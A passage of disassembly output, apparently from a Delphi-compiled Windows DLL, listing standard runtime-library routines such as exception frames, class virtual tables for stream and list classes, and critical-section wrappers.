loc_2000F0C5: ; CODE XREF: CODE:2000F07Bj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000F0DA loc_2000F0D2: ; CODE XREF: CODE:2000F0D8j retn ; --------------------------------------------------------------------------- loc_2000F0D3: ; DATA XREF: CODE:2000F06Ao jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000F0D2 ; --------------------------------------------------------------------------- loc_2000F0DA: ; CODE XREF: CODE:loc_2000F0D2j ; DATA XREF: CODE:2000F0CDo pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_2000F17D push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_20015830, 1 jnb short loc_2000F16F mov eax, offset dword_20015810 call sub_2000ECD8 mov eax, offset sub_2000D418 mov ds:dword_20015820, eax mov eax, offset sub_2000D040 mov ds:dword_20015824, eax mov edx, offset sub_2000CF50 mov ds:dword_20015828, edx mov ds:dword_2001582C, eax mov eax, offset sub_2000D704 mov edx, ds:off_200144B8 mov [edx], eax mov eax, offset loc_2000E9CC mov edx, ds:off_200143F0 mov [edx], eax mov eax, offset sub_2000DA18 mov edx, ds:off_20014500 mov [edx], eax mov eax, offset sub_2000DD44 mov edx, ds:off_2001458C mov [edx], eax mov eax, offset sub_2000E46C mov edx, ds:off_2001450C mov [edx], eax push offset stru_20015838 call InitializeCriticalSection_0 loc_2000F16F: ; CODE XREF: CODE:2000F0F4j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000F184 loc_2000F17C: ; CODE XREF: CODE:2000F182j retn ; --------------------------------------------------------------------------- loc_2000F17D: ; DATA XREF: CODE:2000F0E2o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000F17C ; --------------------------------------------------------------------------- loc_2000F184: ; CODE XREF: CODE:loc_2000F17Cj ; DATA XREF: CODE:2000F177o pop ebp retn ; --------------------------------------------------------------------------- align 4 off_2000F188 dd offset dword_20015660 ; DATA XREF: DATA:off_2001449Co dd 0FFAAh off_2000F190 dd offset dword_20015660 ; DATA XREF: DATA:off_20014444o dd 0FFABh dd offset dword_20015660 ; DATA XREF: DATA:off_200145A0o dd 0FFACh dd offset dword_20015660 ; DATA XREF: DATA:off_200143CCo dd 0FFADh dd offset dword_20015660 ; DATA XREF: DATA:off_200144ECo dd 0FFAEh off_2000F1B0 dd offset dword_20015660 ; DATA XREF: DATA:off_200144CCo dd 0FFAFh off_2000F1B8 dd offset dword_20015660 ; DATA XREF: DATA:off_20014494o db 90h db 0FFh, 2 dup(0) dd offset dword_20015660 ; DATA XREF: DATA:off_20014538o dd 0FF91h dd offset dword_20015660 ; DATA XREF: DATA:off_2001455Co dd 0FF92h dd offset dword_20015660 ; DATA XREF: DATA:off_20014584o dd 0FF93h dd offset dword_20015660 ; DATA XREF: DATA:off_20014490o dd 0FF94h dd offset dword_20015660 ; DATA XREF: DATA:off_200144B4o dd 0FF95h ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_2000F20D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015850 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000F214 loc_2000F20C: ; CODE XREF: CODE:2000F212j retn ; --------------------------------------------------------------------------- loc_2000F20D: ; DATA XREF: CODE:2000F1EEo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000F20C ; --------------------------------------------------------------------------- loc_2000F214: ; CODE XREF: CODE:loc_2000F20Cj ; DATA XREF: CODE:2000F207o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_20015850, 1 retn ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 5 aFalse_0 db 'False',0 ; DATA XREF: DATA:off_200143ACo align 10h dword_2000F230 dd 0FFFFFFFFh, 4, 65757254h, 0 ; DATA XREF: DATA:200143B0o dd 0FFFFFFFFh, 1 dword_2000F248 dd 2Eh ; DATA XREF: DATA:off_200143B4o ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_2000F292 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015854 jnz short loc_2000F284 mov eax, offset off_200143B4 call sub_20003FA8 mov eax, offset off_200143AC mov ecx, 2 mov edx, off_20001000 call sub_2000493C loc_2000F284: ; CODE XREF: CODE:2000F263j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000F299 loc_2000F291: ; CODE XREF: CODE:2000F297j retn ; --------------------------------------------------------------------------- loc_2000F292: ; DATA XREF: CODE:2000F252o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000F291 ; --------------------------------------------------------------------------- loc_2000F299: ; CODE XREF: CODE:loc_2000F291j ; DATA XREF: CODE:2000F28Co pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_20015854, 1 retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_2000F2C9 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015858 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000F2D0 loc_2000F2C8: ; CODE XREF: CODE:2000F2CEj retn ; --------------------------------------------------------------------------- loc_2000F2C9: ; DATA XREF: CODE:2000F2AAo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000F2C8 ; --------------------------------------------------------------------------- loc_2000F2D0: ; CODE XREF: CODE:loc_2000F2C8j ; DATA XREF: CODE:2000F2C3o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_20015858, 1 retn ; --------------------------------------------------------------------------- off_2000F2DC dd offset dword_2000F328 ; DATA XREF: CODE:2000F360o ; CODE:2000F474o ... dd 7 dup(0) dd offset dword_2000F328 dd 0Ch dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000F328 dd 7453450Ch, 6D616572h, 6F727245h, 408D72h ; DATA XREF: CODE:off_2000F2DCo ; CODE:2000F2FCo off_2000F338 dd offset dword_2000F384 ; DATA XREF: CODE:2000F3C0o ; CODE:2000F41Co dd 7 dup(0) dd offset dword_2000F384 dd 0Ch dd offset off_2000F2DC dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000F384 dd 69464510h, 7453656Ch, 6D616572h, 6F727245h, 408D72h ; DATA XREF: CODE:off_2000F338o ; CODE:2000F358o off_2000F398 dd offset dword_2000F3E4 ; DATA XREF: sub_20011AF8+9Ar dd 7 dup(0) dd offset dword_2000F3E4 dd 0Ch dd offset off_2000F338 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000F3E4 dd 4346450Dh, 74616572h, 72724565h, 0C08B726Fh ; DATA XREF: CODE:off_2000F398o ; CODE:2000F3B8o off_2000F3F4 dd offset dword_2000F440 ; DATA XREF: sub_20011AF8+FFr dd 7 dup(0) dd offset dword_2000F440 dd 0Ch dd offset off_2000F338 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000F440 dd 4F46450Bh, 456E6570h, 726F7272h ; DATA XREF: CODE:off_2000F3F4o ; CODE:2000F414o off_2000F44C dd offset dword_2000F498 ; DATA XREF: CODE:2000F4CCo ; CODE:2000F524o dd 7 dup(0) dd offset dword_2000F498 dd 0Ch dd offset off_2000F2DC dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000F498 dd 6946450Bh, 4572656Ch, 726F7272h ; DATA XREF: CODE:off_2000F44Co ; CODE:2000F46Co dd offset dword_2000F4F0 ; DATA XREF: sub_20011DB0+7r ; sub_20011E68+23r dd 7 dup(0) dd offset dword_2000F4F0 dd 0Ch dd offset off_2000F44C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000F4F0 dd 6552450Ah, 72456461h, 90726F72h ; DATA XREF: CODE:2000F4A4o ; CODE:2000F4C4o off_2000F4FC dd offset dword_2000F548 ; DATA XREF: sub_200119B8+24r dd 7 dup(0) dd offset dword_2000F548 dd 0Ch dd offset off_2000F44C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000F548 dd 7257450Bh, 45657469h, 726F7272h ; DATA XREF: CODE:off_2000F4FCo ; CODE:2000F51Co off_2000F554 dd offset dword_2000F5A0 ; DATA XREF: sub_2000FFC4+23r dd 7 dup(0) dd offset dword_2000F5A0 dd 0Ch dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000F5A0 dd 694C450Ah, 72457473h, 90726F72h ; DATA XREF: CODE:off_2000F554o ; CODE:2000F574o off_2000F5AC dd offset dword_2000F5F8 ; DATA XREF: sub_20010760+23r dd 7 dup(0) dd offset dword_2000F5F8 dd 0Ch dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000F5F8 dd 74534510h, 676E6972h, 7473694Ch, 6F727245h, 408D72h ; DATA XREF: CODE:off_2000F5ACo ; CODE:2000F5CCo off_2000F60C dd offset off_2000F658 ; DATA XREF: sub_2000FBF0+25r ; sub_2000FBF0+43r ... dd 7 dup(0) dd offset dword_2000F668 dd 10h dd offset off_2000100C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_2000FEF4 off_2000F658 dd offset loc_20010078 ; DATA XREF: CODE:off_2000F60Co dd offset nullsub_4 dd offset sub_2000FF48 dd offset sub_2000FFC4 dword_2000F668 dd 694C5405h, 0C08B7473h ; DATA XREF: CODE:2000F62Co off_2000F670 dd offset dword_2000F6BC ; DATA XREF: CODE:2001270Br ; CODE:2001271Cr dd 7 dup(0) dd offset dword_2000F6BC dd 24h dd offset off_2000100C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200101B0 dword_2000F6BC dd 6854540Bh, 64616572h, 7473694Ch ; DATA XREF: CODE:off_2000F670o ; CODE:2000F690o off_2000F6C8 dd offset off_2000F714 ; DATA XREF: CODE:2000F7C4o ; sub_2000FD70+34r dd 3 dup(0) dd offset dword_2000F740 dd 2 dup(0) dd offset dword_2000F720 dd offset word_2000F72E dd 4 dd offset off_2000100C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_2001024C off_2000F714 dd offset loc_2001035C ; DATA XREF: CODE:off_2000F6C8o ; CODE:2000F74Do dd offset nullsub_5 dd offset sub_20010278 dword_2000F720 dd 0FFFF0002h ; DATA XREF: CODE:2000F6E4o db 0FEh, 0FFh dd offset loc_20010418 dd offset sub_20010368 word_2000F72E dw 540Bh ; DATA XREF: CODE:2000F6E8o dd 73726550h, 65747369h, 0C08B746Eh off_2000F73C dd offset dword_2000F740 ; DATA XREF: CODE:2000F896o dword_2000F740 dd 50540B07h, 69737265h, 6E657473h ; DATA XREF: CODE:2000F6D8o ; CODE:off_2000F73Co db 74h dd offset off_2000F714 dd offset off_20001060 db 2 dup(0), 7 aClasses db 'Classes',0 dd 408D00h off_2000F764 dd offset dword_2000F768 ; DATA XREF: CODE:2000F872o dword_2000F768 dd 53490F0Fh, 6E697274h, 64417367h, 65747061h ; DATA XREF: CODE:off_2000F764o db 72h dd offset off_20001080 db 1, 34h, 2Fh dd 52EC739Ch, 0A69E11D0h, 3DAF2000h, 4307DA82h, 7373616Ch dd 27365h, 0C08BFFFFh off_2000F79C dd offset off_2000F7E8 ; DATA XREF: CODE:2000F8F4o ; sub_2001054C+Dr ... dd 2 dup(0) dd offset dword_2000F868 dd offset dword_2000F888 dd 3 dup(0) dd offset word_2000F87A dd 10h dd offset off_2000F6C8 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_2001041C off_2000F7E8 dd offset loc_2001035C ; DATA XREF: CODE:off_2000F79Co ; CODE:2000F892o dd offset sub_20010654 dd offset sub_2001054C dd offset sub_20002988 dd offset sub_200108D8 dd offset sub_20002988 dd offset sub_200108E0 dd offset sub_20010938 dd offset sub_20010DD4 dd offset nullsub_6 dd offset nullsub_7 dd offset sub_20010FF8 dd offset nullsub_8 dd offset sub_20011140 dd offset sub_2001044C dd offset sub_20010470 dd offset sub_20010494 dd offset sub_20002988 dd offset sub_20002988 dd offset sub_200107F0 dd offset sub_200108E4 dd offset sub_20010A60 dd offset sub_20010AEC dd offset sub_20010BC0 dd offset sub_20002988 dd offset sub_20010BF4 dd offset sub_20010C24 dd offset sub_20010C78 dd offset sub_20010D24 dd offset sub_20010EBC dd offset sub_20010F14 dd offset sub_20010FA8 dword_2000F868 dd 0Eh, 10000h ; DATA XREF: CODE:2000F7A8o db 2 dup(0) dd offset off_2000F764 dw 0Ch db 2 dup(0) word_2000F87A dw 5408h ; DATA XREF: CODE:2000F7BCo dd 69727453h, 9073676Eh off_2000F884 dd offset dword_2000F888 ; DATA XREF: CODE:2000F9D1o dword_2000F888 dd 53540807h, 6E697274h ; DATA XREF: CODE:2000F7ACo ; CODE:off_2000F884o db 67h, 73h dd offset off_2000F7E8 dd offset off_2000F73C align 4 dd 616C4307h, 73657373h, 0C08B0000h off_2000F8A8 dd offset dword_2000F8AC ; DATA XREF: sub_20011180+33r ; sub_20011284+19r ... dword_2000F8AC dd 53540B0Eh, 6E697274h, 65744967h, 86Dh, 100h ; DATA XREF: CODE:off_2000F8A8o db 0 dd offset off_20001000 align 4 dd 408D00h off_2000F8CC dd offset off_2000F918 ; DATA XREF: sub_2000FBF0+34r dd 3 dup(0) dd offset dword_2000F9C0 dd 3 dup(0) dd offset dword_2000F9B0 dd 30h dd offset off_2000F79C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_20011180 off_2000F918 dd offset loc_2001035C ; DATA XREF: CODE:off_2000F8CCo ; CODE:2000F9CDo dd offset sub_20010654 dd offset sub_2001054C dd offset sub_20011428 dd offset sub_2001145C dd offset sub_20011460 dd offset sub_20011464 dd offset sub_20010938 dd offset sub_200115D8 dd offset sub_20011634 dd offset sub_20011708 dd offset sub_20010FF8 dd offset sub_20011724 dd offset sub_20011798 dd offset sub_200111DC dd offset sub_200111E8 dd offset sub_20010494 dd offset sub_20011284 dd offset sub_200112C4 dd offset sub_20011330 dd offset sub_200108E4 dd offset sub_200114C0 dd offset sub_20010AEC dd offset sub_20010BC0 dd offset sub_200114FC dd offset sub_2001150C dd offset sub_20010C24 dd offset sub_20010C78 dd offset sub_20010D24 dd offset sub_20010EBC dd offset sub_20010F14 dd offset sub_20010FA8 dd offset sub_2001124C dd offset sub_20011268 dd offset sub_20011560 dd offset sub_200113B0 dd offset sub_20011750 dd offset sub_20011760 dword_2000F9B0 dd 7453540Bh, 676E6972h, 7473694Ch ; DATA XREF: CODE:2000F8ECo dd offset dword_2000F9C0 dword_2000F9C0 dd 53540B07h, 6E697274h, 73694C67h ; DATA XREF: CODE:2000F8DCo ; CODE:2000F9BCo db 74h dd offset off_2000F918 dd offset off_2000F884 db 2 dup(0), 7 aClasses_0 db 'Classes',0 dd 408D00h off_2000F9E4 dd offset off_2000FA30 ; DATA XREF: CODE:2000FA7Co ; sub_200118C4+3Er dd 7 dup(0) dd offset dword_2000FA4C dd 4 dd offset off_2000100C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 off_2000FA30 dd offset sub_200117D4 ; DATA XREF: CODE:off_2000F9E4o dd offset nullsub_9 dd offset sub_20011824 dd offset sub_20002988 dd offset sub_20002988 dd offset sub_200118C4 dd offset sub_20011948 dword_2000FA4C dd 74535407h, 6D616572h ; DATA XREF: CODE:2000FA04o off_2000FA54 dd offset off_2000FAA0 ; DATA XREF: CODE:2000FAF4o dd 7 dup(0) dd offset dword_2000FABC dd 8 dd offset off_2000F9E4 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 off_2000FAA0 dd offset sub_200117D4 ; DATA XREF: CODE:off_2000FA54o dd offset sub_20011A78 dd offset sub_20011A8C dd offset sub_20011A2C dd offset sub_20011A3C dd offset sub_200118C4 dd offset sub_20011A4C dword_2000FABC dd 6148540Dh, 656C646Eh, 65727453h, 0C08B6D61h ; DATA XREF: CODE:2000FA74o off_2000FACC dd offset off_2000FB18 ; DATA XREF: sub_20010C24+Br ; sub_20010EBC+Er dd 7 dup(0) dd offset dword_2000FB34 dd 8 dd offset off_2000FA54 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_20011C4C off_2000FB18 dd offset sub_200117D4 ; DATA XREF: CODE:off_2000FACCo dd offset sub_20011A78 dd offset sub_20011A8C dd offset sub_20011A2C dd offset sub_20011A3C dd offset sub_200118C4 dd offset sub_20011A4C dword_2000FB34 dd 6946540Bh, 7453656Ch, 6D616572h ; DATA XREF: CODE:2000FAECo off_2000FB40 dd offset dword_2000FB8C ; DATA XREF: sub_2000FD70+3Cr dd 7 dup(0) dd offset dword_2000FB8C dd 14h dd offset off_2000100C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_2000FC6C dword_2000FB8C dd 65525409h, 6F724767h, 0C08B7075h ; DATA XREF: CODE:off_2000FB40o ; CODE:2000FB60o off_2000FB98 dd offset dword_2000FBE4 ; DATA XREF: CODE:200126FAr dd 7 dup(0) dd offset dword_2000FBE4 dd 24h dd offset off_2000100C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_2000FDE4 dword_2000FBE4 dd 6552540Ah, 6F724767h, 90737075h ; DATA XREF: CODE:off_2000FB98o ; CODE:2000FBB8o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000FBF0 proc near ; CODE XREF: sub_2000FD70+41p var_1 = byte ptr -1 push ebp mov ebp, esp push ecx push ebx push esi push edi test dl, dl jz short loc_2000FC03 add esp, 0FFFFFFF0h call sub_2000373C loc_2000FC03: ; CODE XREF: sub_2000FBF0+9j mov edi, ecx mov [ebp+var_1], dl mov ebx, eax xor edx, edx mov eax, ebx call sub_200034C4 mov dl, 1 mov eax, off_2000F60C call sub_200034C4 mov [ebx+4], eax mov dl, 1 mov eax, off_2000F8CC call sub_200034C4 mov [ebx+8], eax mov dl, 1 mov eax, off_2000F60C call sub_200034C4 mov esi, eax mov [ebx+0Ch], esi mov eax, esi mov edx, edi call sub_2000FF14 mov eax, ebx cmp [ebp+var_1], 0 jz short loc_2000FC62 call sub_20003794 pop large dword ptr fs:0 add esp, 0Ch loc_2000FC62: ; CODE XREF: sub_2000FBF0+61j mov eax, ebx pop edi pop esi pop ebx pop ecx pop ebp retn sub_2000FBF0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000FC6C proc near ; DATA XREF: CODE:2000FB88o push ebx push esi call sub_200037A4 mov ebx, edx mov esi, eax mov edx, ebx and dl, 0FCh mov eax, esi call sub_200034E4 mov eax, [esi+4] call sub_200034F4 mov eax, [esi+8] call sub_200034F4 mov eax, [esi+0Ch] call sub_200034F4 test bl, bl jle short loc_2000FCA6 mov eax, esi call sub_2000378C loc_2000FCA6: ; CODE XREF: sub_2000FC6C+31j pop esi pop ebx retn sub_2000FC6C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000FCAC proc near ; CODE XREF: sub_2000FCCC+1Fp ; sub_2000FCCC+50p ... push ebx push esi mov ebx, edx mov esi, eax test ebx, ebx jz short loc_2000FCC6 mov eax, esi call sub_20004EB4 cmp ebx, eax jz short loc_2000FCC6 xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_2000FCC6: ; CODE XREF: sub_2000FCAC+8j ; sub_2000FCAC+13j mov al, 1 pop esi pop ebx retn sub_2000FCAC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000FCCC proc near ; CODE XREF: sub_2000FE58+24p push ebx push esi push edi mov edi, edx mov esi, eax mov eax, [esi+0Ch] mov ebx, [eax+8] dec ebx cmp ebx, 0 jl short loc_2000FD04 loc_2000FCDF: ; CODE XREF: sub_2000FCCC+36j mov edx, ebx mov eax, [esi+0Ch] call sub_20010050 mov edx, edi call sub_2000FCAC test al, al jz short loc_2000FCFE mov edx, ebx mov eax, [esi+0Ch] call sub_2000FF60 loc_2000FCFE: ; CODE XREF: sub_2000FCCC+26j dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_2000FCDF loc_2000FD04: ; CODE XREF: sub_2000FCCC+11j mov eax, [esi+4] mov ebx, [eax+8] dec ebx cmp ebx, 0 jl short loc_2000FD35 loc_2000FD10: ; CODE XREF: sub_2000FCCC+67j mov edx, ebx mov eax, [esi+4] call sub_20010050 mov edx, edi call sub_2000FCAC test al, al jz short loc_2000FD2F mov edx, ebx mov eax, [esi+4] call sub_2000FF60 loc_2000FD2F: ; CODE XREF: sub_2000FCCC+57j dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_2000FD10 loc_2000FD35: ; CODE XREF: sub_2000FCCC+42j mov eax, [esi+8] mov edx, [eax] call dword ptr [edx+14h] mov ebx, eax dec ebx cmp ebx, 0 jl short loc_2000FD6A loc_2000FD45: ; CODE XREF: sub_2000FCCC+9Cj mov edx, ebx mov eax, [esi+8] mov ecx, [eax] call dword ptr [ecx+18h] mov edx, edi call sub_2000FCAC test al, al jz short loc_2000FD64 mov edx, ebx mov eax, [esi+8] mov ecx, [eax] call dword ptr [ecx+48h] loc_2000FD64: ; CODE XREF: sub_2000FCCC+8Cj dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_2000FD45 loc_2000FD6A: ; CODE XREF: sub_2000FCCC+77j pop edi pop esi pop ebx retn sub_2000FCCC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_2000FD70 proc near ; CODE XREF: CODE:200126FFp push ebx push esi push edi test dl, dl jz short loc_2000FD7F add esp, 0FFFFFFF0h call sub_2000373C loc_2000FD7F: ; CODE XREF: sub_2000FD70+5j mov ebx, edx mov edi, eax xor edx, edx mov eax, edi call sub_200034C4 mov dl, 1 mov eax, off_2000F60C call sub_200034C4 mov [edi+4], eax lea eax, [edi+8] push eax ; lpCriticalSection call InitializeCriticalSection_0 mov ecx, off_2000F6C8 mov dl, 1 mov eax, off_2000FB40 call sub_2000FBF0 mov esi, eax mov eax, [edi+4] mov edx, esi call sub_2000FF14 mov byte ptr [esi+10h], 1 mov eax, edi test bl, bl jz short loc_2000FDDB call sub_20003794 pop large dword ptr fs:0 add esp, 0Ch loc_2000FDDB: ; CODE XREF: sub_2000FD70+5Aj mov eax, edi pop edi pop esi pop ebx retn sub_2000FD70 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000FDE4 proc near ; DATA XREF: CODE:2000FBE0o push ebx push esi push edi push ebp call sub_200037A4 mov ebx, edx mov esi, eax lea eax, [esi+8] push eax ; lpCriticalSection call DeleteCriticalSection_0 mov eax, [esi+4] mov ebp, [eax+8] dec ebp test ebp, ebp jl short loc_2000FE1B inc ebp xor edi, edi loc_2000FE08: ; CODE XREF: sub_2000FDE4+35j mov eax, [esi+4] mov edx, edi call sub_20010050 call sub_200034F4 inc edi dec ebp jnz short loc_2000FE08 loc_2000FE1B: ; CODE XREF: sub_2000FDE4+1Fj mov eax, [esi+4] call sub_200034F4 mov edx, ebx and dl, 0FCh mov eax, esi call sub_200034E4 test bl, bl jle short loc_2000FE3A mov eax, esi call sub_2000378C loc_2000FE3A: ; CODE XREF: sub_2000FDE4+4Dj pop ebp pop edi pop esi pop ebx retn sub_2000FDE4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_2000FE40 proc near ; CODE XREF: sub_2000FEA8+Bp add eax, 8 push eax ; lpCriticalSection call EnterCriticalSection_0 retn sub_2000FE40 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000FE4C proc near ; CODE XREF: sub_2000FEA8+3Cp add eax, 8 push eax ; lpCriticalSection call LeaveCriticalSection_0 retn sub_2000FE4C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000FE58 proc near ; CODE XREF: sub_2000FEA8+25p push ebx push esi push edi push ebp mov ebp, edx mov edi, eax mov eax, [edi+4] mov ebx, [eax+8] dec ebx cmp ebx, 0 jl short loc_2000FEA1 loc_2000FE6C: ; CODE XREF: sub_2000FE58+47j mov eax, [edi+4] mov edx, ebx call sub_20010050 mov esi, eax mov edx, ebp mov eax, esi call sub_2000FCCC mov eax, [esi+0Ch] cmp dword ptr [eax+8], 0 jnz short loc_2000FE9B mov eax, esi call sub_200034F4 mov eax, [edi+4] mov edx, ebx call sub_2000FF60 loc_2000FE9B: ; CODE XREF: sub_2000FE58+30j dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_2000FE6C loc_2000FEA1: ; CODE XREF: sub_2000FE58+12j pop ebp pop edi pop esi pop ebx retn sub_2000FE58 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000FEA8 proc near ; CODE XREF: CODE:loc_200125F8p ; CODE:2001261Ep push ebp mov ebp, esp push ebx mov ebx, eax mov eax, ds:dword_2001586C call sub_2000FE40 xor eax, eax push ebp push offset loc_2000FEEA push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx mov eax, ds:dword_2001586C call sub_2000FE58 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000FEF1 loc_2000FEDF: ; CODE XREF: sub_2000FEA8+47j mov eax, ds:dword_2001586C call sub_2000FE4C retn ; --------------------------------------------------------------------------- loc_2000FEEA: ; DATA XREF: sub_2000FEA8+13o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000FEDF ; --------------------------------------------------------------------------- loc_2000FEF1: ; CODE XREF: sub_2000FEA8+41j ; DATA XREF: sub_2000FEA8+32o pop ebx pop ebp retn sub_2000FEA8 endp ; =============== S U B R O U T I N E ======================================= sub_2000FEF4 proc near ; DATA XREF: CODE:2000F654o push ebx push esi call sub_200037A4 mov ebx, edx mov esi, eax mov eax, esi mov edx, [eax] call dword ptr [edx+8] test bl, bl jle short loc_2000FF11 mov eax, esi call sub_2000378C loc_2000FF11: ; CODE XREF: sub_2000FEF4+14j pop esi pop ebx retn sub_2000FEF4 endp ; =============== S U B R O U T I N E ======================================= sub_2000FF14 proc near ; CODE XREF: sub_2000FBF0+56p ; sub_2000FD70+4Dp push ebx push esi push edi mov edi, edx mov ebx, eax mov esi, [ebx+8] cmp esi, [ebx+0Ch] jnz short loc_2000FF29 mov eax, ebx mov edx, [eax] call dword ptr [edx] loc_2000FF29: ; CODE XREF: sub_2000FF14+Dj mov eax, [ebx+4] mov [eax+esi*4], edi inc dword ptr [ebx+8] test edi, edi jz short loc_2000FF41 xor ecx, ecx mov edx, edi mov eax, ebx mov ebx, [eax] call dword ptr [ebx+4] loc_2000FF41: ; CODE XREF: sub_2000FF14+20j mov eax, esi pop edi pop esi pop ebx retn sub_2000FF14 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000FF48 proc near ; DATA XREF: CODE:2000F660o push ebx mov ebx, eax xor edx, edx mov eax, ebx call sub_200100E8 xor edx, edx mov eax, ebx call sub_200100AC pop ebx retn sub_2000FF48 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_2000FF60 proc near ; CODE XREF: sub_2000FCCC+2Dp ; sub_2000FCCC+5Ep ... push ebx push esi push edi mov esi, edx mov ebx, eax test esi, esi jl short loc_2000FF70 cmp esi, [ebx+8] jl short loc_2000FF7F loc_2000FF70: ; CODE XREF: sub_2000FF60+9j mov edx, ds:off_20014538 mov ecx, esi mov eax, [ebx] call sub_2000FFFC loc_2000FF7F: ; CODE XREF: sub_2000FF60+Ej mov edx, esi mov eax, ebx call 